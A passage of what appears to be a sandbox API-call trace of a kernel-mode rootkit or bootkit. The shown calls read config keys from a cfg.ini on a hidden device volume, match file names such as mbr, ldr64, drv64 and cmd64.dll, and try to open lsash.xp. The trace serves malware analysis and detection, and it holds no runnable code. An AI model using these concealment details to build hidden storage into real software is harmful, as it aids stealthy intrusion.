lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bf941f0, dwHighDateTime=0x1d24fa4)) [0122.093] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.093] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.094] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.094] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.094] KeEnterCriticalRegion () [0122.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.094] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.094] IdePortDispatch () returned 0x103 [0122.094] KeWaitForMutexObject () returned 0x0 [0122.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.094] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.094] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.094] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.094] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.094] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9840 [0122.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.094] KeLeaveCriticalRegion () [0122.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.094] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.094] KeEnterCriticalRegion () [0122.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.094] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.094] KeLeaveCriticalRegion () [0122.094] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.094] KeEnterCriticalRegion () [0122.094] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.094] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.094] IdePortDispatch () returned 0x103 [0122.094] KeWaitForMutexObject () returned 0x0 [0122.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.095] KeLeaveCriticalRegion () [0122.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.095] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.095] KeEnterCriticalRegion () [0122.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.095] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c26000 [0122.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.095] IdePortDispatch () returned 0x103 [0122.095] KeWaitForMutexObject () returned 0x0 [0122.095] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.095] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.095] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.095] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.095] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.095] IdePortDispatch () returned 0x103 [0122.095] KeWaitForMutexObject () returned 0x0 [0122.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.095] KeLeaveCriticalRegion () [0122.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.096] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.096] KeEnterCriticalRegion () [0122.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] KeLeaveCriticalRegion () [0122.096] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.096] KeEnterCriticalRegion () [0122.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.096] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] KeLeaveCriticalRegion () [0122.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.096] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.096] KeEnterCriticalRegion () [0122.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] ExFreePoolWithTag (P=0xfffffa8003bc9840, Tag=0x0) [0122.096] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] KeLeaveCriticalRegion () [0122.096] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.096] ReleaseMutex (hMutex=0xf0) returned 1 [0122.096] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.096] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.096] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.096] KeEnterCriticalRegion () [0122.096] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.096] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.096] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.096] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.096] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.097] IdePortDispatch () returned 0x103 [0122.097] KeWaitForMutexObject () returned 0x0 [0122.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.097] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.097] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.097] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.097] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.097] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3850 [0122.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.097] KeLeaveCriticalRegion () [0122.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.097] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.097] KeEnterCriticalRegion () [0122.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.097] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.097] KeLeaveCriticalRegion () [0122.097] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.097] KeEnterCriticalRegion () [0122.097] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.097] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.097] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.097] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.097] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.097] IdePortDispatch () returned 0x103 [0122.097] KeWaitForMutexObject () returned 0x0 [0122.097] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.097] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.097] KeLeaveCriticalRegion () [0122.097] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.098] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.098] KeEnterCriticalRegion () [0122.098] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c27000 [0122.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.098] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.098] IdePortDispatch () returned 0x103 [0122.098] KeWaitForMutexObject () returned 0x0 [0122.098] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.098] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.098] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.098] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.098] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.098] IdePortDispatch () returned 0x103 [0122.098] KeWaitForMutexObject () returned 0x0 [0122.098] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.098] KeLeaveCriticalRegion () [0122.098] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.099] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.099] KeEnterCriticalRegion () [0122.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] KeLeaveCriticalRegion () [0122.099] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.099] KeEnterCriticalRegion () [0122.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.099] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3910, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] KeLeaveCriticalRegion () [0122.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.099] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.099] KeEnterCriticalRegion () [0122.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] ExFreePoolWithTag (P=0xfffffa8003be3850, Tag=0x0) [0122.099] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] KeLeaveCriticalRegion () [0122.099] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.099] ReleaseMutex (hMutex=0xf0) returned 1 [0122.099] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.099] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.099] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.099] KeEnterCriticalRegion () [0122.099] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.099] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.099] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.099] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.099] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.099] IdePortDispatch () returned 0x103 [0122.099] KeWaitForMutexObject () returned 0x0 [0122.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.100] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.100] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.100] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.100] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.100] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e10 [0122.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] KeLeaveCriticalRegion () [0122.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.100] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.100] KeEnterCriticalRegion () [0122.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] KeLeaveCriticalRegion () [0122.100] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.100] KeEnterCriticalRegion () [0122.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.100] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.100] IdePortDispatch () returned 0x103 [0122.100] KeWaitForMutexObject () returned 0x0 [0122.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] KeLeaveCriticalRegion () [0122.100] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.100] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.100] KeEnterCriticalRegion () [0122.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c28000 [0122.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.101] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.101] IdePortDispatch () returned 0x103 [0122.101] KeWaitForMutexObject () returned 0x0 [0122.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.101] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.101] IdePortDispatch () returned 0x103 [0122.101] KeWaitForMutexObject () returned 0x0 [0122.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.101] KeLeaveCriticalRegion () [0122.101] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.101] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.102] KeEnterCriticalRegion () [0122.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] KeLeaveCriticalRegion () [0122.102] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.102] KeEnterCriticalRegion () [0122.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.102] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] KeLeaveCriticalRegion () [0122.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.102] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.102] KeEnterCriticalRegion () [0122.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] ExFreePoolWithTag (P=0xfffffa8003be3e10, Tag=0x0) [0122.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] KeLeaveCriticalRegion () [0122.102] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.102] ReleaseMutex (hMutex=0xf0) returned 1 [0122.102] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.102] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.102] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.102] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.102] KeEnterCriticalRegion () [0122.102] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.102] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.102] IdePortDispatch () returned 0x103 [0122.102] KeWaitForMutexObject () returned 0x0 [0122.102] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.102] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.102] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.102] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.102] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.103] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.103] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.103] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.103] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.103] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.103] 